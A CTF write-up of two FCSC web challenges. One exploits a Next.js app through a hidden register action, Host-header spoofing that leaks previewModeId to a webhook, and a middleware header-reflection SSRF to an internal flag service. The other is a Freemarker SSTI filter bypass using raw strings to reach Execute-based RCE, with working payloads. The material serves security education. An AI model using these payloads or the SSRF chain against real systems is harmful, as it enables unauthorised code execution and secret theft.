
Under Nextruction - Web (24 solves)
I started learning Next.js recently, and I’ve begun developing a small website. It’s still under development, so I’m not exposing sensitive features using key Next.js APIs. I should be safe, right?
- Attachment:
under-nextruction.tar.xz
- URL:
https://under-nextruction.fcsc.fr:2213/
Introduction
The challenge Under Nextruction has two services:
under-nextruction-app: NextJS vulnerable application
under-nextruction-flag: Flask application to retrieve the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
services:
under-nextruction-app:
build: ./src/nextjs
ports:
- "8000:8000"
environment:
- FLAG_STORE_KEY=FAKE_KEY
- JWT_SECRET=FAKE_SECRET
restart: unless-stopped
under-nextruction-flag:
build: ./src/flag-store
environment:
- FLAG_STORE_KEY=FAKE_KEY
- FLAG=FCSC{flag_placeholder}
restart: unless-stopped
|
To obtain the flag, a GET request must be sent to http://under-nextruction-flag/get_flag with the header X-Key set to FLAG_STORE_KEY.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from flask import Flask, request, jsonify
from os import environ
app = Flask(__name__)
@app.get("/get_flag")
def get_flag():
if request.headers.get("X-Key") != environ.get("FLAG_STORE_KEY", "FAKE_KEY"):
return jsonify({ "error": "Invalid X-Key value provided!" }, 403)
return jsonify({ "flag": environ.get("FLAG") })
app.run("0.0.0.0", 5000)
|
The NextJS application is version 15.2.4, so previous research on middleware bypass and SSRF was fixed.
The application includes four routes and one middleware for handling authentication.
File path (in src/nextjs/src/) |
Routes |
Method |
middleware.js |
Regex matching |
Middleware |
app/page.js |
/ |
Page |
app/login/page.js |
/login |
Page |
pages/api/user.js |
/api/user |
API endpoint |
pages/api/revalidate.js |
/api/revalidate |
API endpoint |
Next.js uses file-system based routing, meaning you can use folders and files to define routes. NextJS - Routing
Register an account
The first step was to register an account, as the user interface provided a login feature but no registration option.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
"use client";
import UnderConstruction from "@/components/UnderConstruction";
import { login, register } from "./actions";
import { useActionState } from "react";
const initialState = {
success: false,
error: null
};
export default function LoginPage({ isPreviewMode }) {
const [stateLogin, formLogin] = useActionState(login, initialState);
const [stateRegister, formRegister] = useActionState(register, initialState);
return (
<div>
<!--
Login JSX page with stateLogin and formLogin,
stateRegister and formRegister are NOT used.
-->
</div>
);
}
|
Source: src/nextjs/src/app/login/page.js
There is a login/page.js file, but no register/page.js file. However, the source code imports both the login and register actions, although only the login action is used in the page’s HTML content.
The simplified HTTP request for the login action is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
POST /login HTTP/2
Host: under-nextruction.fcsc.fr:2213
User-Agent: Mozilla/5.0 ...
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Next-Action: 606a919935d7a58f741d3b37dfcdb8df0239d8be02
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Flogin%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Length: XXX
------geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Disposition: form-data; name="1_username"
foobar
------geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Disposition: form-data; name="1_password"
foobar
------geckoformboundarya75f86745d68b7d76baca49f2efa5c4--
|
By inspecting the JS files, such as /_next/static/chunks/app/login/page-a2ae2637ce4a9178.js, the Next-Action IDs for the login and register actions can be identified.
1
2
|
let n=(0,l.createServerReference)("606a919935d7a58f741d3b37dfcdb8df0239d8be02",l.callServer,void 0,l.findSourceMapURL,"login"),
a=(0,l.createServerReference)("60119a0e16f4930d77814c521045541c804c123986",l.callServer,void 0,l.findSourceMapURL,"register");
|
By replacing the Action ID from the login with the register action, an account can be successfully created!

Leak the FLAG_STORE_KEY
Once logged into an account, an “under construction” page with a “revalidate” button is encountered.

As a logged-in user, you have access to two API routes:
/api/user
/api/revalidate
To obtain the FLAG_STORE_KEY, preview mode must be enabled.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
export default function handler(req, res) {
if (!req.preview) {
return res.status(403).json({
error: "Must be in preview mode.",
timestamp: new Date().toISOString(),
});
}
const username = req.headers["x-user"];
return res.status(200).json({
username: username || null,
timestamp: new Date().toISOString(),
flagStoreKey: process.env.FLAG_STORE_KEY || "FAKE_KEY"
});
}
|
Source: src/nextjs/src/pages/api/user.js
From the documentation, the names of the cookies responsible for holding the preview mode are:
__prerender_bypass: Contains a random ID.
__next_preview_data: Holds cryptographically signed data.

From the source code below, to be in isPreviewMode, previewData must not be strictly false.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
let previewData: PreviewData
let isPreviewMode = false
if (hasServerProps || isSSG || isAppPath) {
// For the edge runtime, we don't support preview mode in SSG.
if (process.env.NEXT_RUNTIME !== 'edge') {
const { tryGetPreviewData } =
require('./api-utils/node/try-get-preview-data') as typeof import('./api-utils/node/try-get-preview-data')
previewData = tryGetPreviewData(
req,
res,
this.renderOpts.previewProps,
!!this.nextConfig.experimental.multiZoneDraftMode
)
isPreviewMode = previewData !== false
}
}
|
Source: Github - server/base-server.ts
The tryGetPreviewData function uses the two cookies to retrieve information about the preview mode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
export function tryGetPreviewData(
req: IncomingMessage | BaseNextRequest | Request,
res: ServerResponse | BaseNextResponse,
options: __ApiPreviewProps,
multiZoneDraftMode: boolean
): PreviewData {
// [...]
const headers = HeadersAdapter.from(req.headers)
const cookies = new RequestCookies(headers)
const previewModeId = cookies.get(COOKIE_NAME_PRERENDER_BYPASS)?.value
const tokenPreviewData = cookies.get(COOKIE_NAME_PRERENDER_DATA)?.value
// Case: preview mode cookie set but data cookie is not set
if (
previewModeId &&
!tokenPreviewData &&
previewModeId === options.previewModeId
) {
// This is "Draft Mode" which doesn't use
// previewData, so we return an empty object
// for backwards compat with "Preview Mode".
const data = {}
Object.defineProperty(req, SYMBOL_PREVIEW_DATA, {
value: data,
enumerable: false,
})
return data
}
// [...]
}
|
Source: Github - server/api-utils/node/try-get-preview-data.ts
To be in preview mode, two conditions must be satisfied:
- The cookie
__prerender_bypass must match options.previewModeId.
- The cookie
__next_preview_data must not be defined.
The options.previewModeId is a cryptographically secure random hexadecimal value generated at build time. This ID is not present in the exposed JS files, so it needs to be leaked.
1
2
3
4
5
|
const previewProps: __ApiPreviewProps = {
previewModeId: crypto.randomBytes(16).toString('hex'),
previewModeSigningKey: crypto.randomBytes(32).toString('hex'),
previewModeEncryptionKey: crypto.randomBytes(32).toString('hex'),
}
|
Source: Github - build/index.ts
Before continuing the research, it is worth noting that nextConfig.experimental.trustHostsHeader is set to true. This will be useful later.
1
2
3
4
5
6
7
|
const nextConfig = {
experimental: {
trustHostHeader: true
}
};
export default nextConfig;
|
Source: src/nextjs/src/next.config.mjs
To leak the options.previewModeId, we will exploit the res.revalidate("/") function from the /api/revalidate route.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
export default async function handler(req, res) {
try {
await res.revalidate("/");
return res.status(200).json({
revalidated: true,
timestamp: new Date().toISOString(),
message: "Cache revalidated successfully",
});
} catch (err) {
return res.status(500).json({
revalidated: false,
message: "Error revalidating cache",
error: err.message,
});
}
}
|
With VHOST spoofing, we can leak the previewModeId by receiving a HEAD request to our webhook.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
async function revalidate(
urlPath: string,
opts: {
unstable_onlyGenerated?: boolean
},
req: IncomingMessage,
context: ApiContext
) {
// [...]
const revalidateHeaders: HeadersInit = {
[PRERENDER_REVALIDATE_HEADER]: context.previewModeId,
...(opts.unstable_onlyGenerated
? {
[PRERENDER_REVALIDATE_ONLY_GENERATED_HEADER]: '1',
}
: {}),
}
// [...]
try {
if (context.trustHostHeader) {
const res = await fetch(`https://${req.headers.host}${urlPath}`, {
method: 'HEAD',
headers: revalidateHeaders,
})
}
// [...]
} catch (err: unknown) {
throw new Error(
`Failed to revalidate ${urlPath}: ${isError(err) ? err.message : err}`
)
}
}
|
Source: Github - server/api-utils/node/api-resolver.ts

The server returned a 500 error, but the HEAD request was successfully sent to our webhook:

We obtained the x-prerender-revalidate value (representing the previewModeId), which is 59c6709a1c2b39386a72b0026399960b.
Now, we can send a request to the /api/user route with the valid cookie to obtain the FLAG_STORE_KEY.

The FLAG_STORE_KEY is equals to 8fce97b0137965a3ddd635355eb3b1d249844c814c7981ade10dc201a329b457.
SSRF to the Flask App
Now that we have the FLAG_STORE_KEY, the final step is to send a request to GET http://under-nextruction-flag/get_flag with the X-Key header.
To do this, we need to find an SSRF vulnerability that operates over http (the previous one was only https). This vulnerability must allow us to control the host and path, add a custom header, and read the response. I spent a lot of time searching for calls to the fetch function to find an SSRF that met all these criteria. However, the vulnerability was actually a code smell in the middleware:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import { NextResponse } from "next/server";
import { verify } from "./lib/jwt";
const baseUrl = process.env.PUBLIC_BASE_URL || 'http://localhost:3000';
export async function middleware(request) {
const parsedUrl = new URL(request.url);
const sessionValue = request.cookies.get("session")?.value;
const verifiedSession = await verify(sessionValue);
if ((!sessionValue || !verifiedSession) && parsedUrl.pathname !== "/login") {
return NextResponse.redirect(new URL(`${baseUrl}/login`, request.url));
}
if (parsedUrl.pathname.startsWith("/api/")) {
const requestHeaders = new Headers(request.headers);
requestHeaders.set("X-User", verifiedSession.username);
return NextResponse.next({ headers: requestHeaders });
}
return NextResponse.next();
}
export const config = {
matcher: [ "/", "/((?!_next|.*\\..*).+)" ],
};
|
Source: src/nextjs/src/middleware.js
The middleware appears secure at first glance, but the developer made a mistake:
1
2
3
|
return NextResponse.next({ headers: requestHeaders });
// instead of
return NextResponse.next({ request: { headers: requestHeaders} })
|
This flaw causes the application to reflect all the request headers in the response headers. Therefore, if a Location header is set in the request, it will be reflected in the response.
1
2
3
4
5
6
7
8
9
10
11
|
export class NextResponse extends Response {
// [...]
static next(init) {
const headers = new Headers(init == null ? void 0 : init.headers);
headers.set('x-middleware-next', '1');
handleMiddlewareField(init, headers);
return new NextResponse(null, {
...init,
headers
});
}
|
By setting the Location header, we can trick NextJS into thinking the middleware wants a redirection, even though the status code will be 200 instead of 3XX. The redirect URL from Location is set to parsedUrl.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
if (middlewareHeaders['location']) {
const value = middlewareHeaders['location'] as string
const rel = getRelativeURL(value, initUrl)
resHeaders['location'] = rel
parsedUrl = url.parse(rel, true)
return {
parsedUrl,
resHeaders,
finished: true,
statusCode: middlewareRes.status,
}
}
|
Source: Github - server/lib/router-utils/resolve-routes.ts
As the status code is 200, the request will bypass the “handle redirect if block” and proceed to the proxyRequest function. This function will fetch the parsedUrl using the headers from the initial request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
// handle redirect
if (!bodyStream && statusCode && statusCode > 300 && statusCode < 400) {
const destination = url.format(parsedUrl)
res.setHeader('location', destination)
// [...]
}
// [...]
if (finished && parsedUrl.protocol) {
return await proxyRequest(
req,
res,
parsedUrl,
undefined,
getRequestMeta(req, 'clonableBody')?.cloneBodyStream(),
config.experimental.proxyTimeout
)
}
|
Source: Github - server/lib/router-server.ts
To obtain the flag, simply set the Location header to http://under-nextruction-flag/get_flag and include the X-Key header with the value set to FLAG_STORE_KEY.

Voilà!
Happy Face - Speedrun/Web (4 solves)
Let’s put a smile on your face.
- Attachment:
happy-face.tar.xz
- URL:
https://happy-face.fcsc.fr/
During the FCSC, there was a category called Speedrun where participants had to solve various challenges (reverse, pwn, crypto, web, etc.) within 9 hours. The goal of this category was to measure the speed and versatility of each player.
Introduction
Happy Face was a web challenge, it had a single feature: transforming sad text 😢 into happy text 😊.

The source code was simple, there was a single page that accepted an optional parameter called text.
If the text parameter contained:
<, >, \: The request was aborted.
emojis and (: These characters were replaced with other emojis or ).
Afterward, the text variable (our input) and the output variable (filtered input) were rendered inside a Freemarker template. The template engine was up to date, version 2.3.34.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
package com.speedrun.demo
// [...]
@SpringBootApplication
@RestController
class DemoApplication {
@GetMapping("/")
@ResponseBody
fun index(@RequestParam(required = false,
defaultValue = "I'm [...]") text: String) : String {
val badChars = arrayOf("<", ">", "\\")
badChars.forEach { c ->
if (text.contains(c)){
return "Please no XSS"
}
}
val sadToHappy = mapOf(
"😢" to "😊",
"😞" to "😁",
"😔" to "😄",
"☹️" to "🙂",
"🙁" to "😃",
"😩" to "😆",
"😫" to "😅",
"😿" to "😸",
"😭" to "😂",
"😣" to "😌",
"😖" to "😋",
"😟" to "😉",
"😬" to "😎",
"😓" to "😇",
"😥" to "😍",
"(" to ")"
)
val output = sadToHappy.entries.fold(text) { acc, (sad, happy) ->
acc.replace(sad, happy)
}
val templateString = """
[...]
<body>
<h1>Happy Faces</h1>
<p>
Turn any text into a cheerful version with our advanced AI.
</p>
<pre>$output</pre>
<form>
<textarea name="text">$text</textarea>
<button type="submit">Convert</button>
</form>
</body>
""".trimIndent()
val template = Template("index", StringReader(templateString), Configuration.getDefaultConfiguration())
val writer = StringWriter()
template.process(null, writer)
return writer.toString()
}
companion object {
@JvmStatic
fun main(args: Array<String>) {
SpringApplication.run(DemoApplication::class.java, *args)
}
}
}
|
Source: com/speedrun/demo/DemoApplication.kt
When a simple payload is executed, it runs twice (text and output variables)!

When an RCE payload is attempted, an error occurs because the filtered input contains syntax errors and is executed before the valid input.
1
2
|
filtered: ${"freemarker.template.utility.Execute"?new)))"id")}
input: ${"freemarker.template.utility.Execute"?new()("id")}
|

My strategy was to find a way to prevent the page from crashing with the filtered variable and achieve RCE with the second variable.
Attempt / Recover
To achieve this, I first searched for try/catch features within the Freemarker template documentation. I found one called attempt, recover.
1
2
3
4
5
|
<#attempt>
attempt block
<#recover>
recover block
</#attempt>
|
However, the characters <> are completely blocked, making it impossible to use for the challenge.
FTL directive
The ftl directive allows a user to switch the <tag> syntax to [tag] syntax (which is not filtered).
This directive also determines if the template uses angle bracket syntax (e.g. <#include ‘foo.ftl’>) or square bracket syntax (e.g. [#include ‘foo.ftl’]). Simply, the syntax used for this directive will be the syntax used for the whole template, regardless of the FreeMarker configuration settings.
However, the directive must be on the first line of the template, which cannot be controlled.
This directive, if present, must be the very first thing in the template.
Playing with quotes
I had an idea that made me think of a dangling markup payload. The goal was to place the non-valid code inside a string, preventing its execution. Then, the second payload would close the string to execute the code.

However, I encountered an <EOF> error when trying to run this code.
1
2
|
freemarker.core.ParseException: Syntax error in template "index" in line 80, column 9:
Lexical error: encountered <EOF> after "\'} XXX</textarea>\n\t\t\t<button type=\"submit\">Convert</button>...".
|
I resolved this issue by simplifying the payload and using a raw string.
To indicate that a string literal is a raw string literal, you have to put an r directly before the opening quotation mark or apostrophe-quote. Freemarker - Expressions

To obtain the flag, simply execute the binary /app/get_flag.
1
|
${r'} ${"freemarker.template.utility.Execute"?new()("/app/get_flag")}
|

BitK solves this challenge with a one-liner that evaluates if '(' == ')'.
1
|
${'""+"freemarker.template.utility.Execute"?new()("/app/get_flag")'[0..["'('==')'"?eval?c?length-4][0]*61+1]?eval}
|